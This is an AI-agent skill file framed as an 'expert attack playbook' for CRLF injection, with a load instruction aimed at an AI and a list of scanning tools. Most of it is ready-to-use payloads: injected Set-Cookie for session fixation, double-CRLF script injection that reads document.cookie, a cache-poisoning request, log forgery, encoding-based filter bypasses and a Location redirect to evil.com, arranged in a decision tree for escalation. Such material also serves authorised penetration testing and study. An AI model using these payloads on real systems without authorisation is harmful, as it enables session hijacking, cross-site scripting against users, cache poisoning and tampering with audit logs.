| name | crlf-injection |
| description | CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content. |
SKILL: CRLF Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
QUICK START
First-pass probes
| Signal | Probe | Why |
|---|
| Header injection point (redirect URL, Set-Cookie path) | %0D%0AX-Injected:true in param | Confirms CRLF reaches response headers |
| Single CRLF works | %0D%0ASet-Cookie:evil=test | Session fixation chain |
| Single CRLF blocked | %0D alone, %0A alone, %E5%98%8A%E5%98%8D | Partial or Unicode bypass |
| Double CRLF | %0D%0A%0D%0A<script>alert(1)</script> | Body injection → XSS |
| Input in User-Agent / Referer | %0D%0A127.0.0.1 - admin [date] "GET /admin" 200 | Log injection / forgery |
| Open redirect via CRLF in Location | %0D%0ALocation:http://evil.com%0D%0A%0D%0A | Response splitting → redirect hijack |
curl -s -D- 'https://target/redirect?url=%0D%0AX-Injected:true'
1. CORE CONCEPT
CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
4. FILTER BYPASS
| Filter | Bypass |
|---|
Blocks %0D%0A | Try %0D alone, %0A alone, or %E5%98%8A%E5%98%8D (Unicode) |
| URL decodes once | Double-encode: %250D%250A |
Strips \r\n literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
CRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
DECISION TREE
HTTP header reflects user input?
├── Redirect URL parameter contains CRLF (%0D%0A)?
│ ├── Single CRLF injection works?
│ │ ├── Set-Cookie injection possible?
│ │ │ └── Test session fixation chain
│ │ └── Other header injection (X-Forwarded-For, etc.)?
│ │ └── Test header-based attacks
│ └── Single CRLF blocked?
│ └── Try encoding bypass: double-encode (%250D%250A), Unicode (%E5%98%8A%E5%98%8D), LF-only (%0A)
├── Double CRLF (%0D%0A%0D%0A) reaches response?
│ └── Response body injection confirmed?
│ ├── XSS via injected HTML/JS?
│ │ └── Test XSS escalation chain
│ └── Cacheable response?
│ └── Test cache poisoning chain
├── Input in User-Agent or Referer?
│ └── Log injection possible?
│ └── Test log forgery and log evasion
└── No CRLF reflection found?
└── Report not reproduced; check encoding and parameter name injection
7. COMMON VULNERABLE PATTERNS
header("Location: " . $_GET['url']);
return redirect(request.args.get('next'))
res.setHeader('X-Custom', userInput);
response.setHeader("Location", request.getParameter("url"));
MCP TOOLS
| Tool | Use Case |
|---|
http_framework_test | Send crafted HTTP requests with CRLF payloads (%0D%0A) in URL parameters, headers, cookies, or POST body to test header injection and response splitting |
http_repeater | Replay and modify CRLF injection payloads in redirect URLs, Set-Cookie paths, and User-Agent/Referer headers to observe header/body injection effects |
nuclei_scan | Run CRLF-injection-specific Nuclei templates to automate detection of HTTP response splitting vulnerabilities across multiple endpoints |
burpsuite_alternative_scan | Comprehensive web scanning that can detect CRLF injection patterns in redirect parameters, cookie values, and custom headers during spidering |
TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
RELATED ROUTING
- xss — CRLF body injection escalates to stored XSS
- open-redirect — CRLF in Location header hijacks redirects
- request-smuggling — CRLF is fundamental to HTTP request smuggling
- hpp — HPP can complement CRLF header injection
